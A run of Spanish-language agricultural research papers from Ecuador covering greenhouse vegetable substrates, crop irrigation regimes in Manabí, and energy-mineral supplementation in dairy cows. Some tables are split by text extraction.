El trabajo de investigación se efectuó en un invernadero cuya área es de 210 m², con estructura de metal galvanizado, cubierta de pentacapa polivit isrealita, paredes laterales y frontales cubiertas con sarán negro de 50% de sombreo, ubicada en la Escuela Superior Politécnica del Chimborazo, Extensión Norte Amazónica, en el cantón Francisco de Orellana. Las características climáticas de este cantón son: precipitación anual de 3500 mm, temperatura promedio 23°C y humedad relativa de 80%. (Vargas Tierras et al., 2018).

Figura 1. a) Ubicación de la ESPOCH-ENA, b) Arreglo de plantas en el invernadero

Se sembraron plántulas de 10 cm de altura de tomate, lechuga y acelga. Como unidad de cultivo se utilizó plantas sembradas en fundas de plástico de 27x15 cm ubicadas una a continuación de otra, obteniendo un total de 10 plantas por tratamiento. Se utilizó dos sustratos orgánicos: cascarilla de café y cáscara de cacao.

Para la distribución efectiva del agua a las plantas, se instaló el sistema de riego por goteo, con manguera principal PEBD de 32 mm y línea de goteo manguera de 16 mm con goteros cada 40 cm, caudal 1.1 l/h, válvulas plásticas de 16 mm, para el funcionamiento de los goteros se utilizó bomba eléctrica de 0.5 HP

Los niveles de fertilización fueron: Dosis 1= testigo, Dosis 2= 1ppm, Dosis 3= 2ppm. El fertilizante utilizado fue CRISTALON (13-40-14 (N-P-K)+oligoelementos) y se aplicó 10ml/planta cada dos días.

El arreglo en el invernadero se indica en la Tabla 1. Se utilizó un sistema de riego abierto, es decir, aquel en el cual el agua que se le aplicaba a las plantas era justamente la necesaria y el drenaje no fue reutilizado.

Diseño experimental

Se utilizó un Diseño completamente al Azar (DCA) con un arreglo factorial de 2X3 con 10 repeticiones, donde el factor A fue el sustrato con dos niveles (cascarilla y café y cáscara de cacao), el factor B fueron las dos dosis de fertilización (D1= 0 ppm, D2=1ppm y D3= 2ppm de solución nutritiva) que corresponden al testigo, la dosis recomendada por el fabricante y el doble de lo recomendado por el fabricante respectivamente. La conformación de los tratamientos evaluados se muestra en el Cuadro 1.

Tabla 1. Disposición del estudio en el invernadero

Sustrato Cáscara de cacao			Sustrato Cascarilla de café		
D1	D2	D3	D1	D2	D3
Tomate	Tomate	Tomate	Tomate	Tomate	Tomate
Lechuga	Lechuga	Lechuga	Lechuga	Lechuga	Lechuga
Acelga	Acelga	Acelga	Acelga	Acelga	Acelga

Las variables evaluadas se sometieron a un Análisis de Varianza y a una prueba de comparación de media de Tukey con una significancia de 0,05 haciendo uso del software estadístico InfoStat versión 2018 (Di Rienzo et al., 2015)

Variables

Se evaluó la fenología de las plantas durante su ciclo de vida, así como el rendimiento de la planta (g/planta). De acuerdo con las especies que conformaron el policultivo en estudio se presenta en la Tabla 2 las variables evaluadas.

Tabla 2. Variables analizadas por cultivo

ESPECIE	VARIABLES
TOMATE	Altura planta (cm), largo de hoja (cm), ancho de hoja (cm), rendimiento- frutos (g/planta)
ACELGA	Altura de planta (cm), ancho de hoja (cm), número de hojas (unidad), rendimiento (gr/planta)
LECHUGA	Altura planta (cm), ancho de hoja (cm), largo de hoja (cm), rendimiento (gr/planta)

3. RESULTADOS Y DISCUSIÓN

Lechuga

En la Figura 2. se indica que el rendimiento de la lechuga tuvo mejores resultados en el S1, cascarilla de café, sin embargo, el peso promedio fue de 46g/planta, muy por debajo a lo reportado por Rivadeneira, A., (2013) que al utilizar bocashi alcanzó lechugas de 581,88g. A su vez, la cosecha de lechuga fue precoz, dado que se realizó a los 27 días después del trasplante.

La interacción de los dos factores sustrato y dosis de fertilización indican en la Figura 3 que el tratamiento S1D1, cascarilla de café sin fertilizante obtuvo plantas más altas (12,34 cm) y hojas más anchas, lo que coincide con el trabajo realizado por García J, (2008) que reportó alturas de 3,35 cm para plántulas de lechuga en cascarilla de café mientras que en turba (*Sphagnum*) las plántulas alcanzaron 1,97 cm. Las variables ancho y largo de la hoja respondieron mejor al sustrato cascarilla de café.

Figura 2. Rendimiento de lechuga de acuerdo con el sustrato utilizado

Figura 3. Comportamiento de variables fenológicas en el ensayo de lechuga

Acelga

El rendimiento de la acelga osciló entre 12 – 15 g/ planta (Figura 4), inferior a los 700g por planta que reporta Acosta, F (2015) quien analizó la fertilización orgánica foliar en el cultivo de acelga (*Beta vulgaris var. cicla* L.). Durante el ciclo del cultivo, la acelga fue susceptible al ataque de hongos lo que provocó la mortalidad del 39 % de las plantas.

En la figura 5 se muestra que la altura de la acelga no presenta diferencias significativas respecto a las dosis fertilización aplicada, sin embargo, existió un ligero incremento en las plantas sembradas en el sustrato de cáscara de cacao. El ancho (4,94 - 4,97) y número (4 unidades) de hojas no presentaron diferencias significativas para ninguno de los factores de estudio sin embargo son similares a las que Delgado, J (2016) quien indica que el número de hojas por planta a los 15 y 45 días de la variedad de acelga Verde Bressane en cultivo hidropónico obtuvo el mayor valor con 5,15 y 7,69 hojas por planta.

Figura 4. Rendimiento de acelga de acuerdo con el sustrato utilizado

Figura 5. Comportamiento de variables fenológicas en el ensayo de acelga

Tomate

El rendimiento por planta no presentó diferencias significativas para el tipo de sustrato, pero si para la dosis de fertilización, el mayor rendimiento (68g/planta) se alcanzó con la D2 de fertilizantes (Figura 6). El análisis de varianza de tomate indica que el desarrollo fenológico, establecido por la variable altura de planta, largo y ancho de hoja como se indica en la Figura 7 presentó diferencias significativas entre tratamientos, siendo el tratamiento S1D3, cascarilla de café con fertilización alta el que reportó resultados favorables.

Figura 6. Rendimiento de tomate de acuerdo con el sustrato utilizado

Figura 7. Comportamiento de variables fenológicas en el ensayo de tomate

El bajo rendimiento del cultivo de tomate fue ocasionado por factores como radiación, humedad, pero sobre todo el incremento de temperatura (29-35° C) en el microclima del invernadero. En las hojas se produjo enroscamiento hacia arriba y hacia abajo lo que redujo el proceso de fotosíntesis, transpiración y por lo tanto el crecimiento de las plantas, la floración y la producción de frutos. Esta condición, también incrementa la susceptibilidad de enfermedades a plagas y enfermedades, lo que se evidenció con el ataque masivo de mosca blanca, pulgón,

presencia de bacterias, virus en la mayoría de las plantas para finalmente presentar marchitez generalizada Chica, S., (2015).

4. CONCLUSIONES

Tanto el rendimiento y variables fenológicas de las plantas de lechuga tuvieron mejores resultados en el sustrato de cascarilla de café que en el sustrato de cascará de cacao.

El rendimiento de acelga fue mayor en el sustrato de cáscara de cacao que el obtenido con el sustrato de cascarilla de café, sin embargo, las variables fenológicas no presentaron diferencias entre sustratos ni con el nivel de fertilización.

El comportamiento de las variables fenológicas del tomate no mostró preferencia por ningún sustrato, pero si por el nivel de fertilización debido a que es un cultivo demandante en nutrientes.

Tanta lechuga, acelga y tomate presentaron precocidad en la cosecha, es decir las etapas del ciclo de cultivo fueron cortas debido al estrés causado por altas temperaturas alcanzadas en el invernadero.

REFERENCIAS BIBLIOGRÁFICAS

Acosta, F. (2015). *Respuesta del cultivo de acelga (beta vulgaris var. cicla l.) a la fertilización orgánica foliar* (Tesis de pregrado). Universidad de Guayaquil. Ecuador.

Alemán, R. D., Bravo, C. A., Oña, M., (2014). *Posibilidades de producir hortalizas en la Región Amazónica del Ecuador, provincia Pastaza*. Centro Agrícola. Vol. 4. N°1. pp. 67-72,

Chica, S., (2015). *Desarrollo morfofisiológico de cuatro variedades de tomate (Lycopersicum esculentum mill) con manejo agroecológico en el centro de investigación posgrado y conservación de la biodiversidad amazónica (CIPCA) en la provincia de Napo – Ecuador* (Tesis de pregrado). Universidad Estatal amazónica. Ecuador.

Delgado, J., (2016). *Evaluación de tres variedades de acelga (Beta Vulgaris L.) cultivadas en el sistema hidropónico* (Tesis de pregrado). Universidad de Guayaquil. Ecuador.

García, J., (2008). *Evaluación de la cascarilla del café para utilizarse como sustrato en cultivo sin suelo de hortalizas* (Tesis de maestría). Instituto Politécnico Nacional, Centro Interdisciplinario de Investigación para el Desarrollo Integral Regional, Unidad Oaxaca, México.

Gobierno autónomo descentralizado del Municipio de Francisco de Orellana (GADMFO), (2014). *Plan de Desarrollo y Ordenamiento Territorial GADMFO 2014-2019*. Recuperado desde: <https://www.orellana.gob.ec/docs/PDyOT%20GADMFO%202014-2019.pdf>

Gobierno Autónomo descentralizado de la Provincia de Orellana (GADPO), (2015). *Plan de Desarrollo y Ordenamiento Territorial de la Provincia de Orellana 2015-2019*. Recuperado desde: https://www.gporellana.gob.ec/wp-content/uploads/2015/11/PDYOT-2015-2019ORELLANA_ACTUALIZADO.pdf

Ramos, D., Terry, E., Soto, F., Cabrera, J., (2014). *Bocashi: abono orgánico elaborado a partir de residuos de la producción de plátanos en Bocas del Toro Panamá*. Cultivos Tropicales, Vol. 35, N°. 2, pp. 90-97

Torres, C., (2018). *Análisis comparativo de costos de inversión de sistemas hidropónicos trabajo de titulación previo a la obtención del título de: ingeniero en administración de empresas agropecuarias y agronegocios* (Tesis de pregrado). Universidad Estatal Península de Santa Elena, La libertad.

Vargas, C., Nienhuis, J., (2011). *Cultivo protegido de hortalizas en Costa Rica*. Tecnología en Marcha. Vol. 25, N° 2. Abril-Junio 2012. Pág 10-20.

Vargas, Y. B., Prado, J. K., Nicolalde, J. R., Casanoves, F., Virginio Filho, E. de M., & Viera, W. F. (2018). *Caracterización y rol de los frutales amazónicos en fincas familiares en las provincias de Sucumbíos y Orellana (Ecuador)*. Corpoica Cienc Tecnol Agropecuaria, pp 19.

Viteri, O., (2013). *Evaluación de la sostenibilidad de los cultivos de café y cacao en las provincias de Orellana y Sucumbíos – Ecuador* (Tesis Doctoral). Universidad Autónoma de Barcelona. España.

EL RÉGIMEN DE RIEGO PARA CULTIVOS EN MANABÍ, ECUADOR: ESTUDIO PRELIMINAR

Ramón Pérez Leira,

Luis Alfredo Cifuentes Cevallos,

Adrián Ricardo Mendoza Briones,

Ramón Agustín Mieles Pico,

Henry Emilio Delgado Anchundia,

Luis Eduardo Chávez García

UNIVERSIDAD LAICA ELOY ALFARO

rperezleira@gmail.com

RESUMEN

El presente trabajo es un complemento del estudio climatológico y edafológico desarrollado en zonas productivas de la provincia de Manabí en Ecuador. El objetivo del estudio es determinar el régimen de riego de ocho cultivos de interés económico en Manabí. El estudio estuvo enfocado en tres zonas agrícolas de la Provincia (Chone, San Ramón y Mapasingue). Se analizaron varios escenarios que incluyen dos texturas de suelo y épocas de lluvia y de seca para el cálculo de la demanda hídrica de cultivos temporales. Los resultados permiten definir los volúmenes de agua requeridos por cada cultivo para el diseño y la planificación de la explotación de los sistemas de riego.

PALABRAS CLAVE: suelo, evapotranspiración, cultivos, régimen de riego.

ABSTRACT

The present work is a complement of the climatic and edaphological study developed in productive zones of Manabí province in Ecuador. The objective of the study is to determine the irrigation regime of eight crops of economic interest in Manabí. The study focused on three agricultural areas of the Province (Chone, San Ramón and Mapasingue). Several scenarios were analyzed, including two soil textures and rainy and dry seasons for calculating the water demand of temporary crops. The results allow to define the volumes of water required by each crop for the design and planning of the exploitation of irrigation

systems.

KEYWORDS: soil, evapotranspiration, crops, irrigation regime.

1. INTRODUCCIÓN

En la provincia Manabí en Ecuador se han realizado algunos estudios enfocados al comportamiento de las propiedades fisicoquímicas de los suelos en zonas de interés agrícola. Uno de los resultados recientes más interesantes es el obtenido por Carrera et al. (2017) en su caracterización fisicoquímica desde el punto de vista agrícola de los suelos en la zona de riego del Proyecto Multipropósito Chone. Sin embargo, se evidencian pocos estudios realizados en la región enfocados a definir el Régimen de Riego de los Cultivos. En la Propuesta de Modelo de Gestión Integral de Riego en Ecuador. (Secretaría del Agua, 2016) se plantea que existe “falta de programas complementarios a la construcción de la obra física, como programas de capacitación, asistencia técnica...”. Este problema ya había sido identificado por el MAGAP (2012) en el Plan Nacional de Riego y Drenaje 2011-2026 donde se reconoció que existen “...vacíos importantes de conocimiento e información a todo nivel sobre el riego y drenaje en el país. ”

Los resultados presentados en esta investigación han sido generados a partir de un Proyecto de Investigación desarrollado por la Universidad Laica Eloy Alfaro de Manabí que tiene como objetivo *Desarrollar un Estudio de las condiciones edafoclimáticas en Manabí para el diseño y operación de los Sistemas de Riego*. El objetivo específico de este trabajo es determinar el régimen de riego de ocho cultivos de interés económico en Manabí.

2. MATERIALES Y MÉTODOS.

Para el desarrollo de este estudio se seleccionaron tres zonas de interés agro productivo en la provincia Manabí: Zona norte del Cantón Chone, San Ramón en el Cantón Sucre y Mapasingue en el Cantón Portoviejo. Una representación espacial de las tres zonas se puede apreciar en la figura 1.

Figura 1- Ubicación de las tres zonas de estudio en la provincia de Manabí. (Fuente: Elaboración de los Autores).

Definición de las características del Clima y del Suelo.

Este trabajo se basa en los estudios desarrollados por Pérez y cols. (2018a) quienes publican resultados de un estudio profundo del comportamiento de la lluvia y la evapotranspiración del cultivo de referencia a partir de análisis estadístico de series de 23 años de observaciones en 49 estaciones meteorológicas en Manabí. De igual manera, las propiedades hidro físicas de los suelos han sido definidas a partir de determinaciones “in situ” determinadas por Pérez y cols. (2018b) en las tres zonas de estudio.

Definición de las características de los cultivos para el Régimen de Riego.

Los datos de profundidad de las raíces (H), coeficientes del cultivo (K_c) para el cálculo de la Evapotranspiración por cada fase de desarrollo y ciclo de vida de cada cultivo, se muestran en la tabla 1 a partir de las consideraciones de diferentes autores.

Tabla 1. Valores de Coeficiente de Cultivo (Kc) y de Profundidad a humedecer (H) por etapas para cada cultivo según recomendaciones de diferentes autores.

Cultivo		Fases de Desarrollo					Fuente
Maíz	Días	25	80			30	Allen y cols. (2006) Calderón (2014) Oñate (2016)
	Kc	0.3 0	1.2 0			0.5 0	
	Días	13 5					
	H (m)	0.6 0					
Maní	Días	10	2 5	30	45	20	Torres (2018)
	Kc	0.4 5	0.75	1.0 3	0.8 0	0.5 8	
	Días	13 0					
	H (m)	0.3 5					
Pimiento	Días	30		75		20	Allen y cols. (2006)
	Kc	0.6 0		1.0 5		0.9 0	
	Días	12 5					
	H (m)	0.5 0					
Cítricos	Días	6 0	90		12 0	95	Calderón (2014)
	Kc	0.70	0.7 0	0.6 5		0.7 0	
	Días	36 5					
	H (m)	1.4 0					

Cacao	Días	36				Allen y cols. (2006)
		5				
	Kc	0.9				
		0				
	Días	36				
	5					
	H (m)	0.7				
		0				
Maracuyá	Días	60	21		95	Allen y cols. (2006) Vinuesa (2009) Calderón (2014)
			0			
	Kc	0.7	0.6		0.7	
		0	5		0	
	Días	36				
	5					
	H (m)	0.6				
		0				
Papaya	Días	60	90	60	15	Chaterlán y cols. (2012)
					5	
	Kc	0.9	1.0	1.1	0.9	
		0	0	0	0	
	Días	36				
	5					
	H (m)	0.6				
		0				
Plátano	Días	12	24		5	Allen y cols. (2006)
		0	0			
	Kc	0.6	1.1		1.0	
		0	0		5	
	Días	36				
	5					
	H (m)	0.6				
		0				

1. RESULTADOS Y DISCUSIÓN

Luego de haber realizado los cálculos de requerimientos hídricos correspondientes a cada cultivo en los diferentes escenarios se obtuvo el resultado que se resume en la tabla 2.

Tabla 2. Resumen del Régimen de Riego de cada cultivo en diferentes escenarios expresado a partir de la Dosis Total de Riego, Consumo Total (Dosis Total + Precipitación Efectiva), Cantidad de Riegos en el año e Intervalo promedio de aplicación de los mismos.

Cultivo	Época	Textura de Suelo	Dosis Total (m³/ha)	Consumo Total (m³/ha)	Cantidad de Riegos	Intervalo de Riego (días)
Maíz	Seca	Fina	3535	3621	9	15
	Seca	Media	3735	3821	10	13
	Lluvia	Fina	785	4212	2	Nov-Ene (45)
	Lluvia	Media	747	4200	2	Nov-Ene (45)
Maní	Seca	Fina	3723	3924	18	7
	Seca	Media	3837	4038	17	8
	Lluvia	Fina	0	3722	0	0
	Lluvia	Media	0	3717	5	
Pimiento	Seca	Fina	3273	3344	10	12
	Seca	Media	3424	3495	11	11
	Lluvia	Fina	0	3884	0	0
	Lluvia	Media	0	3874	0	0

Cítricos	Anual	Fina	4582	8852	5	Jun-Nov (37)
		Media	4358	8688	5	Jun-Nov (37)
Cacao	Anual	Fina	5499	9907	12	May-Dic (20)
		Media	5665	10059	13	May-Dic (20)

Maracuyá	Anual	Media	4903	7123	14	26
Papaya	Anual	Media	8055	10224	23	16
Plátano	Anual	Media	8802	11728	26	14

Como se puede observar se define la dosis total (precipitación efectiva + riego) que requiere cada cultivo, así como la cantidad de riegos en el año y el intervalo promedio con que se deben aplicar los mismos. No se observa una gran diferencia entre las dosis totales requeridas para texturas medias y finas.

Los resultados obtenidos para el cultivo del maíz se acercan a los obtenidos en México por Zamora-Salgado y cols. (2011) quienes obtuvieron cifras de riego totales para el cultivo del maíz en el orden de $3560\text{m}^3/\text{ha}$.

Los resultados obtenidos para el cultivo del Cacao son ligeramente inferiores a los obtenidos por Romero y Proaño (2008) en su estudio desarrollado en Ecuador en el cual obtuvieron dosis de consumo total entre $12\,799\text{ m}^3/\text{a}$ y $14\,382\text{ m}^3/\text{ha}$ (incluye Lluvia aprovechable + riego).

La dosis total requerida para el cultivo del plátano resultó ser la de mayor magnitud y coincide además con los resultados obtenidos por diferentes autores citados por Toro y cols. (2016) y con los resultados de Caicedo y cols. (2015).

3. CONCLUSIONES

- Durante la ejecución de esta investigación se pudo apreciar que existen pocas evidencias de estudios de régimen de riego de los cultivos para las condiciones edafoclimáticas de la provincia Manabí.
- La posibilidad de definir el Régimen de Riego de los cultivos a partir de análisis estadísticos de las variables climáticas propias de la región y la determinación “in situ” de las propiedades hidro físicas de los suelos, les transfiere a los resultados de este estudio un margen de confiabilidad superior al de estudios desarrollados sobre otros datos.
- Se determinó la demanda hídrica para ocho cultivos de interés económico en Manabí.

Este resultado sirve de base para el diseño y la programación de los sistemas de riego existentes o que se pretendan desarrollar en la Provincia por lo que su aplicabilidad es de carácter inmediato.

4. RECOMENDACIONES

Concluir el cálculo del régimen de riego previsto para otros escenarios de clima, suelo y cultivos de la Provincia Manabí.

REFERENCIAS BIBLIOGRÁFICAS

- Allen, R. G.; Pereira, L. S.; Raes, D. y Smith, M. Evapotranspiración del cultivo. Guía para la determinación de los requerimientos de agua de los cultivos. Estudio FAO Riego y Drenaje 56. Roma. (2006).
- Caicedo, C. O.; Balmaseda, E. C. y Proaño, S. J. Programación del Riego del banano (*Musa Paradisiaca*) en finca San José, Los Ríos, Ecuador. Revista Ciencias Técnicas Agropecuarias, ISSN -1010-2760, RNPS-0111, Vol. 24, No. 2 (abril-mayo-junio, pp. 18-22), 2015.
- Calderón, B. S.P. Evaluación del recurso hídrico en la eficiencia del desarrollo de los cultivos en cinco barrios de Tumbaco, Pichincha. Tesis de Grado previa a la obtención del Título de Ingeniero Agrónomo. Universidad Central del Ecuador. (2014). Disponible en: <http://www.dspace.uce.edu.ec/bitstream/25000/3242/1/T-UCE-0004-100.pdf> (Consultado: Enero 2018).
- Carrera V. D.; Guevara G., P. V. y Gualichicomín J.G.N. Caracterización Físico-Química desde el punto de vista Agrícola de los suelos en la zona de Riego del Proyecto Multipropósito Chone. 2017. Disponible en: <https://www.researchgate.net/publication/277004400> (24/05/2018).
- Chaterlán, D. Y.; Hernández, G.; Paredes, P.; Martínez, V. R.; López, S.T. y Pereira, L.S. Estimación de los coeficientes de cultivo de la papaya para mejorar la programación del riego en el sur de La Habana. Revista Ciencias Técnicas Agropecuarias, Vol. 21, No. 1. pp. 37-42 (2012).
- MAGAP. Ministerio de Agricultura, Ganadería, Acuacultura y Pesca. Plan Nacional de Riego y Drenaje 2011-2026. Subsecretaría de Riego y Drenaje.

p. 22. Disponible en:
<http://hit.senplades.gob.ec/documents/20182/30669/Acuerdo342PLANNACIONALDERIEGOYDREN-AJE2012-2026.pdf/7110f9ba-56f0-4bde-8ea0-867a402b4f26>.
[Consulta: 21/06/2018], 2012.

Oñate, Z. L. A. Duración de las Etapas Fenológicas y Profundidad Radicular del Cultivo de Maíz (*Zea mays*) var. Blanco Harinoso, bajo las condiciones Climáticas del Cantón Cevallos. Trabajo de Investigación estructurado de manera independiente como requisito para optar por el Título de Ingeniero Agrónomo. Universidad Técnica de Ambato. 2016. Disponible en: <http://repo.uta.edu.ec/bitstream/123456789/18305/1/Tesis-116%20%20Ingenier%C3%ADa%20Agron%C3%B3mica%20-CD%20371.pdf> (Consultado: Enero, 2018).

Pérez, L.R; Cabrera, E.E.; Hinostroza, G. M.I. y Manzaba, C. J.R. El régimen de riego para cultivos en Manabí, Ecuador: estudio climatológico. *Revista Ciencias Técnicas Agropecuarias*. Vol. 27. No. 1. 5-12, ISSN -1010-2760, E-ISSN: 2071-0054, 2018a.

Pérez, L.R; Cabrera, E.E.; Cedeño, C.G.; Delgado, A. H.E.; Mendoza, B. A. R. y Chávez, G. L.E. El régimen de riego para cultivos en Manabí, Ecuador: estudio edafológico. *Revista Ciencias Técnicas Agropecuarias*. Vol. 27. No. 4. 1-8, ISSN -1010-2760, E-ISSN: 2071-0054, 2018b.

Romero, J. y Proaño, J. Evaluación del efecto del riego por Goteo y Microaspersión en la productividad del cacao (*Theobroma cacao*) CC-51 en un suelo Ustifluvent típico en la zona Chongón-Península de Santa Elena Provincia de Guayas. XI Congreso Ecuatoriano de la Ciencia del Suelo. 2008. Disponible en: <http://www.secsuelo.org/wp-content/uploads/2015/06/12.-Jorge-Romero.-Riego.pdf>. (Consultado: Enero, 2018).

Secretaría del Agua. Subsecretaría de Riego y Drenaje. Propuesta de Modelo de Gestión Integral de Riego en el Ecuador. 2016. Disponible en: <http://www.competencias.gob.ec/wp-content/uploads/2017/06/06IGC2016-MGRIEGO-SENAGUA-MODELO-DE-GESTIO%CC%81N-INTEGRAL-DEL-RIEGO.pdf> (Consultado: Febrero, 2019).

Toro, T. A. M.; Arteaga, R.R.; Vázquez, P. A. e Ibáñez, C. A. Requerimientos de riego y predicción del rendimiento en el cultivo de banano mediante un modelo de simulación en el Urabá antioqueño, Colombia. *Tecnología y Ciencias del Agua*, Vol. VII, No. 6. ISSN 0187-8336, noviembre-diciembre de 2016, pp. 105-122.

- Torres, S. I. A. Respuesta del Cultivo del Maní (*Arachis Hipogea* L.) a dos métodos de riego a presión en el Valle de Casanga, Provincia de Loja. Tesis de Grado previa a la obtención del Título de Magister en Riego. Universidad Nacional de Loja. 2016. Disponible en: <http://dspace.unl.edu.ec/jspui/bitstream/123456789/10303/1/Torres%20Italo%20Tesis.pdf> (Consultado: Enero, 2018).
- Vinuesa, I. R. J. Diseño de un plan de manejo de riego para los cultivos de cítricos en El Zamorano. Honduras. Proyecto especial presentado como requisito parcial para optar al título de Ingeniero Agrónomo en el Grado Académico de Licenciatura (2009). Disponible en: <https://bdigital.zamorano.edu/bitstream/11036/403/1/T2860.pdf> (Consultado: Enero, 2018).
- Zamora, S. S.; Ruiz, E. F.H.; Beltrán, M. A.; Fenech, L. L.; Murillo, A. B.; Loya, R. J. y Troyo, D. E. Régimen Hídrico del Maíz en una zona árida, determinado en porcentaje de evaporación. *Tropical and Subtropical Agroecosystems*, 13. Pp. 181- 186 (2011).

BIOGRAFÍA DE AUTORES

Ramón Pérez Leira, Profesor Titular Principal. Universidad Laica Eloy Alfaro de Manabí (ULEAM). Facultad de Ingeniería. E-mail: rperezleira@gmail.com Teléfono: 0981895673.

Ramón Agustín Mieles Pico, Ingeniero Civil. Egresado de la Facultad de Ingeniería. (ULEAM).

Luis Alfredo Cifuentes Cevallos, Ingeniero Civil. Egresado de la Facultad de Ingeniería. (ULEAM).

Henry Emilio Delgado Anchundia, Ingeniero Civil. Egresado de la Facultad de Ingeniería. (ULEAM).

Adrián Ricardo Mendoza Briones, Ingeniero Civil. Egresado de la Facultad de Ingeniería. (ULEAM).

Luis Eduardo Chávez García, Estudiante Egresado. Carrera de Ingeniería Civil. (ULEAM).

**EFFECTO DE LA SUPLEMENTACIÓN ENERGÉTICO-MINERAL
SOBRE EL PERFIL METABÓLICO Y LOS INDICADORES
REPRODUCTIVOS CON SU IMPACTO ECONÓMICO EN LA
REGIÓN ANDINA DE ECUADOR**

Luis Rodrigo Balarezo Urresta,

Juan Ramón García Díaz.

Universidad Politécnica Estatal del Carchi

luis.balarezo@upec.edu.ec

RESUMEN

El objetivo de la presente investigación fue determinar el efecto de la suplementación energético-mineral ajustada a las condiciones de producción de la región andina de Ecuador sobre el perfil metabólico, y los indicadores reproductivos, con su impacto económico.

Se seleccionaron 32 vacas Holstein con $CC \geq 3,5$, se formó un grupo control y otro tratado, cada uno de 16 animales, de forma aleatoria. Se compararon los indicadores bioquímicos y reproductivos entre los grupos control y los tratados mediante prueba de t-Student para muestras independientes. La suplementación incrementó ($p < 0,01$) las concentraciones de P en sangre a los 30 y 60 DPP de 1,68 a 2,18 y 1,69 a 2,16 mmol/L, respectivamente, así como las concentraciones de Cu en suero sanguíneo fueron superiores ($p < 0,05$) con respecto al grupo control a los 30 y 60 DPP; y las de Zn incrementan ($p < 0,01$) en iguales momentos.

En cuanto a los indicadores del perfil energético y proteico, las vacas suplementadas disminuyeron ($p < 0,05$) las concentraciones de B-OH a los 30 DPP. La CC y las concentraciones sanguíneas de colesterol y proteínas totales fueron superiores ($p < 0,05$) a los 30 y 60 DPP. En cuanto a los principales indicadores reproductivos en el grupo control tuvieron un marcado deterioro de acuerdo con los parámetros de referencia del bovino lechero, sin embargo, la suplementación energético mineral mejoró significativamente cada uno de estos controles, reduciendo principalmente el intervalo Parto Concepción en 42,69 días con su respectivo beneficio económico.

PALABRAS CLAVE: Suplementación energético – mineral, perfil energético y proteico, indicadores reproductivos

ABSTRACT

The objective of this research was to determine the effect of energy-mineral supplementation adjusted to the production conditions of the Andean region of Ecuador on the metabolic profile, and reproductive indicators, with their economic impact.

32 Holstein cows were selected with $CC \geq 3,5$, a control group was formed and another treated, each of 16 animals, in a random way. Biochemical and reproductive indicators were compared between the control groups and those treated by t-Student test for independent samples. Supplementation increased ($p < 0.01$) blood P concentrations at 30 and 60 DPP from 1.68 to 2.18 and 1.69 to 2.16 mmol/L, respectively, as well as Cu concentrations in blood serum were higher ($p < 0.05$) with respect to the control group at 30 and 60 DPP; and Zn concentrations increased ($p < 0.01$) at the same times.

In terms of energy and protein profile indicators, supplemented cows decreased ($p < 0.05$) B-OH concentrations at 30 DPP. CC and blood concentrations of cholesterol and total proteins were higher ($p < 0.05$) at 30 and 60 DPP. As for the main reproductive indicators in the control group had a marked deterioration according to the reference parameters of dairy cattle, however, mineral energy supplementation significantly improved each of these controls, mainly reducing the interval Parto Concepción in 42.69 days with its respective economic benefit.

KEYWORDS: Energy - mineral supplementation, energy and protein profile, reproductive indicators.

1. INTRODUCCIÓN

En experimentos anteriores se determinó deficiencias de energía, Cu y Zn, que unido a los excesos de PC, Mg y Fe condicionan la aparición de alteraciones nutricionales y metabólicas entre ellas, el incremento del B-OH y el BUN, mala CC de los animales y deficiencias de P, Cu y Zn que afectan los indicadores reproductivos, la IU y el RAO posparto (Álvarez *et al.*, 2015).

Estas condiciones de producción indican la necesidad de suplementar energía y minerales para mejorar el estado nutricional y metabólico de los animales y consecuentemente su comportamiento reproductivo. La suplementación de energía favorece el comportamiento reproductivo de las vacas (Sartori, 2009), especialmente en el período anterior al parto (Butler, 2013).

La suplementación mineral por vía oral favoreció el comportamiento reproductivo de las vacas lecheras y es la vía más empleada a nivel mundial (Fajardo *et al.*, 2013). Sin embargo, tiene muchas desventajas, motivadas por los antagonismos entre minerales (McDowell y Arthington, 2005) y otros componentes de la nutrición como el alto contenido PC (Djokovic *et al.*, 2014), por lo que se presentan sus deficiencias a pesar de que se suministren en cantidades adecuadas en la dieta.

En Cuba se obtuvieron mejoras de los indicadores reproductivos con la suplementación por vía parenteral del Cu (García *et al.*, 2012; Figueredo, 2016) y la de Cu, Zn y Mn durante el período de transición gestación-lactancia (Noval, 2016) que es crítico porque decrece el consumo de MS y se produce el BEN (Roche *et al.*, 2007) y existe una mayor transferencia de minerales al feto y la glándula mamaria (Cedeño-Quevedo *et al.*, 2011, Bhat *et al.*, 2011).

El objetivo de este experimento fue determinar el efecto de la suplementación energético-mineral ajustada a las condiciones de producción de la región andina de Ecuador sobre el perfil metabólico, y los indicadores reproductivos, con su impacto económico.

2. MATERIALES Y MÉTODOS

Localización

El experimento se realizó en el período lluvioso desde agosto 2016 hasta julio 2017

en la parroquia de Tufiño, cantón Tulcán, provincia El Carchi; ubicada entre los 1° 12' y 43" Latitud Norte (LN) y 78 ° 33' 12" Longitud Occidental (LW), una altura de 2 990 a 3 450 msnm.

Las precipitaciones promedio anuales en el área experimental son 1 000 a 1 250 mm, la temperatura promedio fluctúa entre 6 y 11°C, con mínimas de 2°C y máximas de 15°C (INAMHI, 2016).

El suelo del área de la zona de estudio es del orden Andisol, suborden (NRCS, 2003), con una profundidad efectiva de 70 cm. El relieve es ondulado con porcentaje de pendiente entre 10 y 20 % (Franco, 2016), el que se determinó con GPS map 60 CSx

Se seleccionaron 32 vacas Holstein con $CC \geq 3,5$, en la escala de cinco puntos en etapa reproductiva y en producción, de 4 a 8 años de edad, entre el segundo y cuarto parto, el último de ellos eutócico, sin patologías en su aparato genital, sin signos clínicos de enfermedad y que no estén en tratamiento médico, se formó un grupo control y otro tratado, cada uno de 16 animales, de forma aleatoria. Ambos grupos de estudio se encontraban en pastoreo y se ofreció a voluntad 150 g animal⁻¹ de Calfosal (multisalmin SA, Ecuador) (Tabla 1). La composición bromatológica de los alimentos suministrados se presenta en la (Tabla 2). En el grupo tratado, cada animal recibió maíz en cantidad de 1,0 kg MS 30 días antes del parto, y 2,0 kg MS al inicio de lactancia hasta los 60 DPP.

Tabla 1. Composición química del Calfosal utilizado como suplementación oral.

Mineral	Concentración (%)	Mineral	Concentración (%)
P	6	Cu	0,29
Ca	12	Co	0,002
Mg	0,30	S	0,16
Na	17	Cl	27
K	0,005	Fe	0,15
Mg	0,30	Se	0,0003
Zn	0,16	Mn	0,004
I	0,02		

